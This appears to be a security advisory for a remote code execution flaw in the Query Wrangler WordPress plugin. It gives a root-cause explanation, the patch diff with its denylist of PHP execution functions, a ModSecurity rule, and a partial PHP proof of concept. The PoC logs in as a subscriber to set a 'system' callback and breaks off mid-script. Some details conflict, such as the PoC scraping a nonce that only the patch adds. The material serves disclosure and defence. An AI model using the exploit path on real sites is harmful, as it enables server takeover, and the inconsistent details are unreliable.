Published : August 16, 2026

CVE-2026-14498: Query Wrangler <= 1.5.57 Authenticated (Subscriber+) Remote Code Execution via 'options' Parameter PoC, Patch Analysis & Rule

Severity High (CVSS 8.8)
CWE 434
Vulnerable Version 1.5.57
Patched Version 1.5.58
Disclosed August 14, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-14498:

Query Wrangler is a WordPress plugin for building complex queries. Atomic Edge research identifies a critical Remote Code Execution vulnerability in versions up to and including 1.5.57. The flaw exists in the plugin’s AJAX handler, which lacks proper authorization checks and allows authenticated attackers with subscriber-level access to execute arbitrary PHP code on the server. This vulnerability carries a CVSS score of 8.8.

Root Cause: The root cause is a missing capability check and nonce verification on the `wp_ajax_qw_form_ajax` handler in the `query-wrangler/admin/ajax.php` file. The `qw_form_ajax()` function processes the ‘preview’ case, which takes attacker-controlled ‘options’ from the POST request, decodes it with `urldecode()`, and parses it with `parse_str()`. This parsed data then directly replaces all saved query options. The vulnerable code path calls `call_user_func_array()` at line 54, guarded only by `function_exists()`, without any validation of whether the callback is permitted. An attacker can craft an options string that specifies any existing PHP function as a callback, which the plugin then executes.

Exploitation: An attacker with subscriber-level access can send a crafted POST request to `/wp-admin/admin-ajax.php` with the `action` parameter set to `qw_form_ajax` and the `form` parameter set to `preview`. The `options` parameter contains a URL-encoded string that, once parsed, sets the `qw-query-options` array. This array can include nested callback fields like `custom_output_callback`, `callback`, or `post_ids_callback`. By supplying the name of a dangerous function, for example `system`, an attacker achieves code execution. The `query_id` parameter is a small integer, making it easily enumerable, and no additional access control is performed on it, so the attacker does not need to reliably know a specific query ID to mount the attack.

Patch Analysis: The patch implements a defense-in-depth approach. The primary fix adds `qw_verify_ajax_request()` to all admin AJAX endpoints, which enforces a capability check for `edit_others_posts` and verifies a nonce. This blocks the initial vector. The patch also introduces an allow-list mechanism for callbacks. A new file, `query-wrangler/includes/callbacks.php`, creates functions that check any callback name against a denylist of dangerous functions and an admin-configured allow list. The three vulnerable execution points (the Callback field, Callback filter, and Post IDs filter) now call `qw_callback_is_allowed()` before execution. This function also verifies the callback name is saved in the database by an administrator, preventing attackers from introducing new functions. The query preview also now validates that its input is a properly formed options array.

Impact: Successful exploitation enables authenticated attackers, starting from a subscriber account, to execute arbitrary code on the WordPress server. This leads to full site compromise, including data theft, modification, and persistence. The attacker could also leverage this to pivot to other systems on the network. The vulnerability is critical because it does not require high-privilege credentials and has a straight path to Remote Code Execution.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/query-wrangler/admin/admin.php
+++ b/query-wrangler/admin/admin.php
@@ -91,6 +91,9 @@

 	$wpdb->insert( $table_name, $values );

+	// The set of callbacks saved in query data may have changed.
+	qw_flush_stored_callbacks();
+
 	return $wpdb->insert_id;
 }

@@ -160,6 +163,9 @@
 			$query_id ) );
 	}

+	// The set of callbacks saved in query data may have changed.
+	qw_flush_stored_callbacks();
+
 	// Refresh meta_keys_cache.
 	$settings = QW_Settings::get_instance();
 	if ($settings->get('meta_key_cache_life') !== 'none') {
@@ -178,6 +184,9 @@
 	$table = $wpdb->prefix . "query_wrangler";
 	$wpdb->delete( $table, array( 'id' => $query_id ) );

+	// The set of callbacks saved in query data may have changed.
+	qw_flush_stored_callbacks();
+
 	do_action( 'qw_delete_query', $query_id );

 	// @todo - move this somewhere that subscribes to the action
@@ -227,6 +236,10 @@
 	$query['data'] = qw_serialize( $query['data'] );
 	$wpdb->insert( $table, $query );

+	// An imported query may name callbacks. They become executable only after
+	// an administrator adds them to the Allowed Callbacks setting.
+	qw_flush_stored_callbacks();
+
 	return $wpdb->insert_id;
 }

@@ -378,6 +391,11 @@
  * Checking current version of plugin to handle upgrades
  */
 function qw_check_version() {
+	// One-time approval of callbacks that predate the allow list. Runs
+	// independently of the version-to-version upgrade functions below so that
+	// it happens no matter which version a site is coming from.
+	qw_seed_allowed_callbacks();
+
 	if ( $last_version = get_option( 'qw_plugin_version' ) ) {
 		// compare versions
 		if ( $last_version < QW_VERSION ) {
@@ -408,6 +426,8 @@
  * Ajax callback for meta_key autocomplete
  */
 function qw_meta_key_autocomplete() {
+	qw_verify_ajax_request();
+
 	if ( isset( $_POST['qw_meta_key_autocomplete'] ) ) {
 		$meta_key = sanitize_text_field( $_POST['qw_meta_key_autocomplete'] );
 		global $wpdb;
--- a/query-wrangler/admin/ajax.php
+++ b/query-wrangler/admin/ajax.php
@@ -1,20 +1,74 @@
 <?php
+/**
+ * Capability required to use Query Wrangler's admin ajax endpoints.
+ */
+define( 'QW_AJAX_CAPABILITY', 'edit_others_posts' );
+
+/**
+ * Nonce action shared by Query Wrangler's admin ajax endpoints.
+ */
+define( 'QW_AJAX_NONCE_ACTION', 'qw-admin-ajax' );
+
+/**
+ * Stop an ajax request that isn't a permitted user acting from our own admin
+ * screen. Sends a response and exits when the request is rejected.
+ */
+function qw_verify_ajax_request() {
+	if ( ! current_user_can( QW_AJAX_CAPABILITY ) ) {
+		wp_send_json_error( array( 'message' => 'You are not allowed to do that.' ), 403 );
+	}
+
+	check_ajax_referer( QW_AJAX_NONCE_ACTION, 'qw_nonce' );
+}
+
+/**
+ * Reduce a posted handler or handler item name to a safe key.
+ *
+ * These values become array keys and form input names, so keep them to the
+ * characters the editor actually generates.
+ *
+ * @param mixed $key
+ *
+ * @return string
+ */
+function qw_sanitize_handler_key( $key ) {
+	if ( ! is_string( $key ) ) {
+		return '';
+	}
+
+	return preg_replace( '/[^a-zA-Z0-9_-]/', '', $key );
+}
+
 /*
  * Ajax form templates
  */
 function qw_form_ajax() {
+	// This endpoint builds handler forms and renders a live query preview,
+	// which executes the query's handlers. Only users who can reach the query
+	// editor may use it, and only from a page that carried our nonce.
+	qw_verify_ajax_request();
+
+	if ( empty( $_POST['form'] ) ) {
+		wp_send_json_error( array( 'message' => 'No form was requested.' ), 400 );
+	}
+
 	switch ( $_POST['form'] ) {
 		/*
 		 * Preview, special case
 		 */
 		case 'preview':
-			$decode  = urldecode( $_POST['options'] );
+			$decode  = urldecode( isset( $_POST['options'] ) ? $_POST['options'] : '' );
 			$options = array();
 			parse_str( $decode, $options );
-			$options['qw-query-options']['args']['paged'] = 1;
-			$args                                         = array(
-				'options'  => $options['qw-query-options'],
-				'query_id' => $_POST['query_id'],
+
+			if ( ! isset( $options[ QW_FORM_PREFIX ] ) || ! is_array( $options[ QW_FORM_PREFIX ] ) ) {
+				wp_send_json_error( array( 'message' => 'No query options were submitted.' ), 400 );
+			}
+
+			$options[ QW_FORM_PREFIX ]['args']['paged'] = 1;
+			$args                                       = array(
+				'options'  => $options[ QW_FORM_PREFIX ],
+				'query_id' => isset( $_POST['query_id'] ) ? (int) $_POST['query_id'] : 0,
 			);
 			print theme( 'query_preview', $args );
 			exit;
@@ -54,17 +108,25 @@
 			$template = 'query_filter_sortable';
 			$all      = qw_all_filters();
 			break;
+
+		default:
+			wp_send_json_error( array( 'message' => 'Unknown form requested.' ), 400 );
 	}

 	/*
 	   * Generate handler item forms and data
 	   */
-	$handler = $_POST['handler'];
+	$handler = qw_sanitize_handler_key( isset( $_POST['handler'] ) ? $_POST['handler'] : '' );
 	$item    = array();

-	$hook_key            = qw_get_hook_key( $all, $_POST );
+	$hook_key = qw_get_hook_key( $all, $_POST );
+
+	if ( ! $handler || ! isset( $all[ $hook_key ] ) ) {
+		wp_send_json_error( array( 'message' => 'Unknown handler item requested.' ), 400 );
+	}
+
 	$item                = $all[ $hook_key ];
-	$item['name']        = $_POST['name'];
+	$item['name']        = qw_sanitize_handler_key( isset( $_POST['name'] ) ? $_POST['name'] : '' );
 	$item['form_prefix'] = qw_make_form_prefix( $handler, $item['name'] );

 	// handler item's form
@@ -93,6 +155,8 @@
  * Random data grabs
  */
 function qw_data_ajax() {
+	qw_verify_ajax_request();
+
 	if ( isset( $_POST['data'] ) ) {
 		switch ( $_POST['data'] ) {
 			case 'all_hooks':
--- a/query-wrangler/admin/query-admin-pages.php
+++ b/query-wrangler/admin/query-admin-pages.php
@@ -234,6 +234,7 @@
 	$meta_value_field_handler = ( isset( $post['qw-meta-value-field-handler'] ) ) ? $post['qw-meta-value-field-handler'] : '';
 	$shortcode_compat = isset( $post['qw-shortcode-compat'] ) ? $post['qw-shortcode-compat'] : '';
 	$meta_key_cache_life = $post['qw-meta-keys-cache-life'] ?? 'forever';
+	$allowed_callbacks = $post['qw-allowed-callbacks'] ?? '';

 	$settings = QW_Settings::get_instance();
 	$settings->set( 'edit_theme', $post['qw-theme'] );
@@ -243,6 +244,7 @@
 	$settings->set( 'meta_value_field_handler', $meta_value_field_handler );
 	$settings->set( 'shortcode_compat', $shortcode_compat );
 	$settings->set('meta_key_cache_life', $meta_key_cache_life);
+	$settings->set( 'allowed_callbacks', $allowed_callbacks, 'qw_sanitize_callback_list' );
 	$settings->save();
 }

--- a/query-wrangler/admin/templates/form-editor.php
+++ b/query-wrangler/admin/templates/form-editor.php
@@ -2,7 +2,8 @@
       action="<?php print admin_url( "admin.php?page=query-wrangler&action=update&edit=$query_id&noheader=true" ); ?>"
       method='post'
       data-query-id="<?php print $query_id; ?>"
-      data-ajax-url="<?php print admin_url( 'admin-ajax.php' ); ?>">
+      data-ajax-url="<?php print admin_url( 'admin-ajax.php' ); ?>"
+      data-ajax-nonce="<?php print esc_attr( wp_create_nonce( QW_AJAX_NONCE_ACTION ) ); ?>">

 	<?php wp_nonce_field( 'qw-edit_'. $query_id ); ?>

--- a/query-wrangler/admin/templates/form-settings.php
+++ b/query-wrangler/admin/templates/form-settings.php
@@ -7,6 +7,7 @@
  * @var bool $shortcode_compat
  * @var string $meta_value_field_handler
  * @var string $meta_key_cache_life
+ * @var array $allowed_callbacks
  * @var array[] $edit_themes
  * @var array $meta_value_field_options
  */
@@ -160,5 +161,43 @@
 				</p>
 			</td>
 		</tr>
+
+		<tr>
+			<th>
+				<label for="qw-allowed-callbacks">Allowed Callbacks</label>
+			</th>
+			<td>
+				<p class="description">
+					The <em>Callback</em> field, the <em>Callback</em> filter and
+					the <em>Post IDs</em> filter can execute a PHP function while
+					a query runs. Only functions named here will be executed.
+					One function name per line.
+				</p>
+				<textarea id="qw-allowed-callbacks"
+				          name="qw-allowed-callbacks"
+				          rows="6"
+				          cols="50"
+				          class="code"><?php print esc_textarea( implode( "n", (array) $allowed_callbacks ) ); ?></textarea>
+				<p class="description">
+					<strong>Treat this list as executable code.</strong> Anything
+					you add here can be run whenever a query renders, so only add
+					functions you wrote or trust for this purpose. Developers can
+					approve callbacks from code with the
+					<code>qw_allowed_callbacks</code> filter instead.
+				</p>
+				<?php
+				$unapproved = array_diff( qw_stored_callbacks(), qw_allowed_callbacks() );
+				if ( $unapproved ) {
+					?>
+					<p class="description" style="color: #a02222;">
+						These callbacks are saved in your queries but are not
+						approved, so they are not being executed:
+						<code><?php print esc_html( implode( ', ', $unapproved ) ); ?></code>
+					</p>
+					<?php
+				}
+				?>
+			</td>
+		</tr>
 	</table>
 </form>
--- a/query-wrangler/includes/callbacks.php
+++ b/query-wrangler/includes/callbacks.php
@@ -0,0 +1,424 @@
+<?php
+/*
+ * Controls for executing administrator-provided callback functions.
+ *
+ * Three handlers let a query name a PHP function to execute while the query
+ * runs: the Callback field, the Callback filter, and the Post IDs filter.
+ * Query options do not always come from the database - the query editor's
+ * live preview builds them out of $_POST - so a function name found in an
+ * options array cannot be trusted on its own.
+ *
+ * Every one of those executions is routed through qw_callback_is_allowed(),
+ * which requires the name to be:
+ *
+ *   1. shaped like a plain function name,
+ *   2. absent from the denylist of dangerous functions,
+ *   3. present in the administrator's allow list,
+ *   4. present in stored, administrator-authored query data,
+ *   5. an existing function.
+ *
+ * Requirement 4 is what stops the live preview from introducing a callback:
+ * $_POST can name any function it likes, but only names an administrator
+ * actually saved will run.
+ */
+
+/**
+ * Option keys whose value is treated as a callback function name.
+ *
+ * @return array
+ */
+function qw_callback_option_keys() {
+	$keys = array(
+		// includes/fields/callback_field.php
+		'custom_output_callback',
+		// includes/filters/callback.php
+		'callback',
+		// includes/filters/post_id.php
+		'post_ids_callback',
+	);
+
+	return apply_filters( 'qw_callback_option_keys', $keys );
+}
+
+/**
+ * Functions that may never run as a query callback, allow list or not.
+ *
+ * This is a backstop, not the primary control. It exists so that a polluted
+ * allow list cannot immediately become code execution.
+ *
+ * @return array
+ */
+function qw_callback_denylist() {
+	$denylist = array(
+		// arbitrary code and command execution
+		'eval',
+		'assert',
+		'create_function',
+		'exec',
+		'shell_exec',
+		'system',
+		'passthru',
+		'proc_open',
+		'popen',
+		'pcntl_exec',
+		// indirect execution, used to smuggle the above past an allow list
+		'call_user_func',
+		'call_user_func_array',
+		'array_map',
+		'array_filter',
+		'array_walk',
+		'array_walk_recursive',
+		'array_reduce',
+		'usort',
+		'uasort',
+		'uksort',
+		'preg_replace_callback',
+		'preg_replace_callback_array',
+		'register_shutdown_function',
+		'register_tick_function',
+		'set_error_handler',
+		'set_exception_handler',
+		'forward_static_call',
+		'forward_static_call_array',
+		'iterator_apply',
+		'add_action',
+		'add_filter',
+		'do_action',
+		'apply_filters',
+		// includes and filesystem writes
+		'require',
+		'require_once',
+		'include',
+		'include_once',
+		'file_put_contents',
+		'fwrite',
+		'fputs',
+		'copy',
+		'rename',
+		'unlink',
+		'rmdir',
+		'chmod',
+		'move_uploaded_file',
+		// deserialization
+		'unserialize',
+		'maybe_unserialize',
+		// destructive or privilege-granting WordPress APIs
+		'wp_insert_user',
+		'wp_create_user',
+		'wp_update_user',
+		'wp_delete_user',
+		'wp_set_password',
+		'wp_set_current_user',
+		'add_option',
+		'update_option',
+		'delete_option',
+		'wp_delete_post',
+		'wp_delete_attachment',
+		'wp_remote_get',
+		'wp_remote_post',
+		'wp_remote_request',
+	);
+
+	return apply_filters( 'qw_callback_denylist', $denylist );
+}
+
+/**
+ * Reduce a value to a plain function name, or an empty string.
+ *
+ * Deliberately narrow: no class methods, no closures, no "Class::method"
+ * strings, nothing that call_user_func() would treat as dynamic.
+ *
+ * @param mixed $callback
+ *
+ * @return string
+ */
+function qw_sanitize_callback_name( $callback ) {
+	if ( ! is_string( $callback ) ) {
+		return '';
+	}
+
+	$callback = trim( $callback );
+
+	if ( ! preg_match( '/^[a-zA-Z_x80-xff][a-zA-Z0-9_x80-xff]*$/', $callback ) ) {
+		return '';
+	}
+
+	return $callback;
+}
+
+/**
+ * Function names an administrator has approved for execution.
+ *
+ * @return array
+ */
+function qw_allowed_callbacks() {
+	$allowed = QW_Settings::get_instance()->get( 'allowed_callbacks', array() );
+
+	if ( ! is_array( $allowed ) ) {
+		$allowed = array();
+	}
+
+	/*
+	 * Filter the callbacks Query Wrangler is allowed to execute.
+	 *
+	 * Use this to approve callbacks from code instead of the settings screen:
+	 *
+	 *   add_filter( 'qw_allowed_callbacks', function( $allowed ) {
+	 *     $allowed[] = 'my_theme_query_field_callback';
+	 *     return $allowed;
+	 *   } );
+	 */
+	$allowed = apply_filters( 'qw_allowed_callbacks', $allowed );
+
+	$allowed = array_map( 'qw_sanitize_callback_name', (array) $allowed );
+
+	return array_values( array_unique( array_filter( $allowed ) ) );
+}
+
+/**
+ * Turn a newline or comma separated list of names into a clean array.
+ *
+ * Used to sanitize the allow list on its way into the settings option.
+ *
+ * @param mixed $value
+ *
+ * @return array
+ */
+function qw_sanitize_callback_list( $value ) {
+	if ( is_string( $value ) ) {
+		$value = preg_split( '/[s,]+/', $value );
+	}
+
+	$value = array_map( 'qw_sanitize_callback_name', (array) $value );
+
+	return array_values( array_unique( array_filter( $value ) ) );
+}
+
+/**
+ * Every callback name defined in a single query's options array.
+ *
+ * @param array $options
+ *
+ * @return array
+ */
+function qw_extract_callbacks( $options ) {
+	if ( ! is_array( $options ) ) {
+		return array();
+	}
+
+	$keys  = qw_callback_option_keys();
+	$found = array();
+
+	array_walk_recursive( $options, function ( $value, $key ) use ( $keys, &$found ) {
+		if ( in_array( $key, $keys, TRUE ) ) {
+			$name = qw_sanitize_callback_name( $value );
+			if ( $name ) {
+				$found[] = $name;
+			}
+		}
+	} );
+
+	return array_values( array_unique( $found ) );
+}
+
+/**
+ * Every callback name found in stored query data.
+ *
+ * Saving a query requires manage_options (admin/query-admin-pages.php), so
+ * anything in this table was authored by an administrator. That makes it the
+ * trust anchor for callback execution.
+ *
+ * @return array
+ */
+function qw_stored_callbacks() {
+	$cached = get_transient( 'qw_stored_callbacks' );
+
+	if ( is_array( $cached ) ) {
+		return $cached;
+	}
+
+	global $wpdb;
+	$table = $wpdb->prefix . 'query_wrangler';
+	$found = array();
+
+	// This runs while rendering the front end. If the table is missing we want
+	// no callbacks rather than a database error on the page.
+	$suppressing = $wpdb->suppress_errors();
+	$rows        = $wpdb->get_col( "SELECT data FROM {$table}" );
+	$wpdb->suppress_errors( $suppressing );
+
+	foreach ( (array) $rows as $data ) {
+		$found = array_merge( $found, qw_extract_callbacks( qw_unserialize( $data ) ) );
+	}
+
+	$found = array_values( array_unique( $found ) );
+
+	set_transient( 'qw_stored_callbacks', $found, DAY_IN_SECONDS );
+
+	return $found;
+}
+
+/**
+ * Forget the cached list of stored callbacks.
+ *
+ * Called whenever query data changes.
+ */
+function qw_flush_stored_callbacks() {
+	delete_transient( 'qw_stored_callbacks' );
+}
+
+/**
+ * Whether a callback provided by query options may be executed.
+ *
+ * @param mixed $callback Function name from a query's options.
+ * @param string $context Handler the callback came from, for debug logging.
+ *
+ * @return bool
+ */
+function qw_callback_is_allowed( $callback, $context = 'callback' ) {
+	$name = qw_sanitize_callback_name( $callback );
+
+	if ( ! $name ) {
+		return FALSE;
+	}
+
+	$denied = array_map( 'strtolower', qw_callback_denylist() );
+
+	if ( in_array( strtolower( $name ), $denied, TRUE ) ) {
+		qw_callback_refused( $name, $context, 'the function is on Query Wrangler's denylist' );
+
+		return FALSE;
+	}
+
+	if ( ! in_array( $name, qw_allowed_callbacks(), TRUE ) ) {
+		qw_callback_refused( $name, $context, 'the function is not in the Allowed Callbacks setting' );
+
+		return FALSE;
+	}
+
+	// Options can be built from $_POST by the editor's live preview. Only
+	// names an administrator saved to the database are executable.
+	if ( ! in_array( $name, qw_stored_callbacks(), TRUE ) ) {
+		qw_callback_refused( $name, $context, 'the function is not saved in any query - save the query before previewing it' );
+
+		return FALSE;
+	}
+
+	if ( ! function_exists( $name ) ) {
+		qw_callback_refused( $name, $context, 'the function does not exist' );
+
+		return FALSE;
+	}
+
+	return TRUE;
+}
+
+/**
+ * Approve the callbacks a site was already using, once.
+ *
+ * The allow list was introduced after callbacks had been executable for years.
+ * Starting empty would silently break working sites, so on the first run we
+ * approve whatever is already saved in query data - which only an
+ * administrator could have put there. Anything added after this runs has to be
+ * approved deliberately.
+ */
+function qw_seed_allowed_callbacks() {
+	if ( get_option( 'qw_allowed_callbacks_seeded' ) ) {
+		return;
+	}
+
+	$settings = QW_Settings::get_instance();
+	$existing = $settings->get( 'allowed_callbacks', array() );
+	$denied   = array_map( 'strtolower', qw_callback_denylist() );
+
+	$seeded = array();
+	foreach ( qw_stored_callbacks() as $callback ) {
+		if ( ! in_array( strtolower( $callback ), $denied, TRUE ) ) {
+			$seeded[] = $callback;
+		}
+	}
+
+	$settings->set( 'allowed_callbacks',
+		array_merge( (array) $existing, $seeded ),
+		'qw_sanitize_callback_list' );
+	$settings->save();
+
+	update_option( 'qw_allowed_callbacks_seeded', 1 );
+}
+
+/**
+ * Explain a callback's status underneath a handler's form field.
+ *
+ * Callbacks silently doing nothing is confusing, so say plainly whether this
+ * one will run and what to do about it if it won't.
+ *
+ * @param mixed $callback Function name currently entered in the form.
+ */
+function qw_callback_status_notice( $callback ) {
+	$name = qw_sanitize_callback_name( $callback );
+
+	if ( ! $name ) {
+		?>
+		<p class="description">
+			Callbacks must be approved before Query Wrangler will execute them.
+			Add the function name to <em>Allowed Callbacks</em> on the
+			<a href="<?php print esc_url( admin_url( 'admin.php?page=qw-settings' ) ); ?>">Query
+				Wrangler settings</a> screen.
+		</p>
+		<?php
+
+		return;
+	}
+
+	$reasons = array();
+
+	if ( in_array( strtolower( $name ), array_map( 'strtolower', qw_callback_denylist() ), TRUE ) ) {
+		$reasons[] = 'it is on Query Wrangler's denylist and can never be executed';
+	}
+	else {
+		if ( ! in_array( $name, qw_allowed_callbacks(), TRUE ) ) {
+			$reasons[] = 'it is not listed in <em>Allowed Callbacks</em> on the Query Wrangler settings screen';
+		}
+		if ( ! in_array( $name, qw_stored_callbacks(), TRUE ) ) {
+			$reasons[] = 'it has not been saved yet — save this query, then preview it';
+		}
+		if ( ! function_exists( $name ) ) {
+			$reasons[] = 'no function by that name exists';
+		}
+	}
+
+	if ( ! $reasons ) {
+		?>
+		<p class="description" style="color: #227122;">
+			<strong>✓ <?php print esc_html( $name ); ?></strong> is
+			approved and will be executed.
+		</p>
+		<?php
+
+		return;
+	}
+	?>
+	<p class="description" style="color: #a02222;">
+		<strong>✗ <?php print esc_html( $name ); ?></strong> will not be
+		executed because <?php print implode( ', and ', $reasons ); ?>.
+	</p>
+	<?php
+}
+
+/**
+ * Note a refused callback when debugging is on.
+ *
+ * @param string $callback
+ * @param string $context
+ * @param string $reason
+ */
+function qw_callback_refused( $callback, $context, $reason ) {
+	if ( ! defined( 'WP_DEBUG' ) || ! WP_DEBUG ) {
+		return;
+	}
+
+	error_log( sprintf( 'Query Wrangler refused to execute the %s "%s" because %s.',
+		$context,
+		$callback,
+		$reason ) );
+}
 No newline at end of file
--- a/query-wrangler/includes/class-qw-settings.php
+++ b/query-wrangler/includes/class-qw-settings.php
@@ -12,6 +12,7 @@
 		'meta_value_field_handler' => 0,
 		'shortcode_compat'         => 0,
 		'meta_key_cache_life'      => 0, // Forever.
+		'allowed_callbacks'        => array(), // Functions handlers may execute.
 	);

 	public $values = array();
--- a/query-wrangler/includes/fields/callback_field.php
+++ b/query-wrangler/includes/fields/callback_field.php
@@ -26,7 +26,9 @@
 	$echoed   = FALSE;

 	ob_start();
-	if ( isset( $field['custom_output_callback'] ) && function_exists( $field['custom_output_callback'] ) ) {
+	if ( isset( $field['custom_output_callback'] ) &&
+	     qw_callback_is_allowed( $field['custom_output_callback'], 'callback field' )
+	) {
 		if ( isset( $field['include_output_arguments'] ) ) {
 			$returned = $field['custom_output_callback']( $post,
 				$field,
@@ -86,13 +88,15 @@
 			<label class="qw-label">Callback:</label>
 			<input class='qw-js-title' type="text"
 			       name="<?php print $field['form_prefix']; ?>[custom_output_callback]"
-			       value="<?php print $custom_output_callback; ?>"/>
+			       value="<?php print esc_attr( $custom_output_callback ); ?>"/>
 		</p>

 		<p class="description">
 			Provide an existing function name. This function will be executed
 			during the loop of this query.
 		</p>
+
+		<?php qw_callback_status_notice( $custom_output_callback ); ?>
 	</div>
 	<div>
 		<label class='qw-field-checkbox'>
--- a/query-wrangler/includes/filters/callback.php
+++ b/query-wrangler/includes/filters/callback.php
@@ -36,7 +36,7 @@
 		       type='text'
 		       size="46"
 		       name="<?php print $filter['form_prefix']; ?>[callback]"
-		       value='<?php print $filter['values']['callback']; ?>'/>
+		       value='<?php print esc_attr( $filter['values']['callback'] ); ?>'/>
 	</p>
 	<p class="description">
 		The callback function will be provided the $args and $filter variables,
@@ -44,6 +44,7 @@
 		<br/>Eg, <code>function my_filter_callback($args, $filter){ return
 			$args; }</code>
 	</p>
+	<?php qw_callback_status_notice( $filter['values']['callback'] ); ?>
 <?php
 }

@@ -54,7 +55,9 @@
  * @param $filter
  */
 function qw_filter_callback_execute( &$args, $filter ) {
-	if ( isset( $filter['values']['callback'] ) && function_exists( $filter['values']['callback'] ) ) {
+	if ( isset( $filter['values']['callback'] ) &&
+	     qw_callback_is_allowed( $filter['values']['callback'], 'callback filter' )
+	) {
 		$args = $filter['values']['callback']( $args, $filter );
 	}
 }
 No newline at end of file
--- a/query-wrangler/includes/filters/post_id.php
+++ b/query-wrangler/includes/filters/post_id.php
@@ -31,12 +31,13 @@
 	?>
     <p>
       <label>Provide post_ids as a comma separated list:</label>
-      <div><input class="qw-js-title" type='text' size="46" name="<?php print $filter['form_prefix']; ?>[post_ids]" value='<?php print $filter['values']['post_ids']; ?>' /></div>
+      <div><input class="qw-js-title" type='text' size="46" name="<?php print $filter['form_prefix']; ?>[post_ids]" value='<?php print esc_attr( $filter['values']['post_ids'] ); ?>' /></div>
     </p>
     <p>
       <label>Or, provide a callback function name that returns an array of post_ids:</label>
-      <div><input class="qw-js-title" type="text" size="46" name="<?php print $filter['form_prefix']; ?>[post_ids_callback]" value="<?php print $filter['values']['post_ids_callback']; ?>" /></div>
+      <div><input class="qw-js-title" type="text" size="46" name="<?php print $filter['form_prefix']; ?>[post_ids_callback]" value="<?php print esc_attr( $filter['values']['post_ids_callback'] ); ?>" /></div>
       <p class="description">Note: you cannot expose a filter if using a callback.</p>
+      <?php qw_callback_status_notice( $filter['values']['post_ids_callback'] ); ?>
     </p>
     <p>
       <label>How to treat these post IDs.</label>
@@ -53,7 +54,9 @@
 }

 function qw_generate_query_args_post_id( &$args, $filter ) {
-	if ( isset( $filter['values']['post_ids_callback'] ) && function_exists( $filter['values']['post_ids_callback'] ) ) {
+	if ( isset( $filter['values']['post_ids_callback'] ) &&
+	     qw_callback_is_allowed( $filter['values']['post_ids_callback'], 'post_ids callback' )
+	) {
 		$pids = $filter['values']['post_ids_callback']( $args );
 	} else {
 	    $values = qw_contextual_tokens_replace( $filter['values']['post_ids'] );
--- a/query-wrangler/query-wrangler.php
+++ b/query-wrangler/query-wrangler.php
@@ -9,7 +9,7 @@
 Description:       Query Wrangler provides an intuitive interface for creating complex WP queries as pages or widgets. Based on Drupal Views.
 Author:            Jonathan Daggerhart
 Author URI:        https://www.daggerhartlab.com
-Version:           1.5.57
+Version:           1.5.58
 License:           GPLv2
 License URI:       http://www.gnu.org/licenses/gpl-2.0.html

@@ -32,7 +32,7 @@
 */

 // some useful definitions
-define( 'QW_VERSION', 1.557 );
+define( 'QW_VERSION', 1.558 );
 define( 'QW_PLUGIN_DIR', dirname( __FILE__ ) );
 define( 'QW_PLUGIN_URL', plugins_url( '', __FILE__ ) );
 define( 'QW_DEFAULT_THEME', 'views' );
@@ -58,6 +58,8 @@
 	}
 	// Wordpress hooks
 	include_once QW_PLUGIN_DIR . '/includes/hooks.php';
+	// controls for executing administrator-provided callbacks
+	include_once QW_PLUGIN_DIR . '/includes/callbacks.php';
 	include_once QW_PLUGIN_DIR . '/includes/exposed.php';
 	include_once QW_PLUGIN_DIR . '/includes/handlers.php';
 	include_once QW_PLUGIN_DIR . '/includes/class-qw-shortcodes.php';

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-14498
# Block exploitation attempt on qw_form_ajax AJAX action by unauthenticated users.
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
    "id:202614498,phase:1,deny,status:403,chain,msg:'CVE-2026-14498 - Query Wrangler RCE attempt',severity:'CRITICAL',tag:'CVE-2026-14498'"
    SecRule ARGS_POST:action "@streq qw_form_ajax" "chain"
        SecRule ARGS_POST:form "@streq preview" ""

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-14498 - Query Wrangler <= 1.5.57 - Authenticated (Subscriber+) Remote Code Execution via 'options' Parameter

$target_url = 'http://your-wordpress-site.com';
$username = 'subscriber_user';
$password = 'subscriber_password';

// 1. Login and get cookies
$login_url = $target_url . '/wp-login.php';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => 1
]));
curl_setopt($ch, CURLOPT_HEADER, true);
curl_exec($ch);
curl_close($ch);

// 2. Get a valid nonce by requesting the admin pages
$admin_pages_url = $target_url . '/wp-admin/admin.php?page=qw-settings';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $admin_pages_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
$admin_html = curl_exec($ch);
curl_close($ch);

// Parse the nonce from the HTML
preg_match('/name="qw_nonce" value="([^"]+)"/', $admin_html, $matches);
if (empty($matches[1])) {
    die('Error: Could not find nonce.');
}
$nonce = $matches[1];

// 3. Craft the malicious payload
// The options parameter is URL-encoded. Set a callback to 'system' and pass command via arguments.
$cmd = 'id';
